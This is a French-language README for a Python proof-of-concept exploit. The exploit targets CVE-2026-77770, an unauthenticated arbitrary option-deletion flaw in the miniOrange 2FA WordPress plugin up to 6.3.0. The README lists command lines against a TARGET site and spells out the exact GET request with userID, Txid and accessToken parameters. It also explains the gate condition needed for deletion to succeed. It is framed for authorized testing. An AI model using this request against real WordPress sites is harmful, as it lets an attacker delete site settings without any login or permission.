
PoC Python pour CVE-2026-77770, une vulnérabilité non authentifiée de suppression arbitraire d'options WordPress dans le plugin miniOrange 2FA (<= 6.3.0) via le lien de vérification par e-mail.
miniOrange 2FA CVE POC
miniOrange 2FA (extension WordPress miniorange-2-factor-authentication) ≤ 6.3.0 — suppression arbitraire non authentifiée d'options WordPress via le lien de vérification par e-mail (userID / Txid / accessToken).
Pour tests autorisés uniquement. Ne pas exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation de test.
Prérequis : Python 3, bibliothèque standard uniquement.
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| Option | Ce qu'elle fait |
|---|
-u / --url | Racine du site WordPress (requis). http:// ou https:// ; un nom d'hôte est essayé en HTTPS d'abord, puis en HTTP. Le TLS auto-signé est retenté automatiquement |
--test | Invité : version du plugin + popup de vérification par e-mail |
--delete OPTION | Supprime cette ligne de wp_options. blogname est visible via /wp-json/ (BEFORE / AFTER) |
--gate OPTION | Option dont la valeur stockée est 3 (le gate Txid). Répétable. Par défaut : wp_page_for_privacy_policy, puis thread_comments_depth |
--insecure | Ignorer la vérification TLS |
--timeout | Délai HTTP en secondes (par défaut 30) |
Non authentifié. Le gadget est un GET vers /?userID=OPTION&Txid=GATE&accessToken=x. GATE doit actuellement contenir l'entier 3. En cas de dépassement de la fenêtre de 5 minutes, le plugin écrit aussi GATE=0.
--test ne supprime rien. --delete blogname est la preuve publique (le titre du site dans /wp-json/ devient vide). La 6.3.1 préfixe les clés (mo2f_oobe_*) donc les noms non préfixés ne sont pas supprimés.
Stdout : VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

CVE : CVE-2026-77770. Changelog du plugin 6.3.1.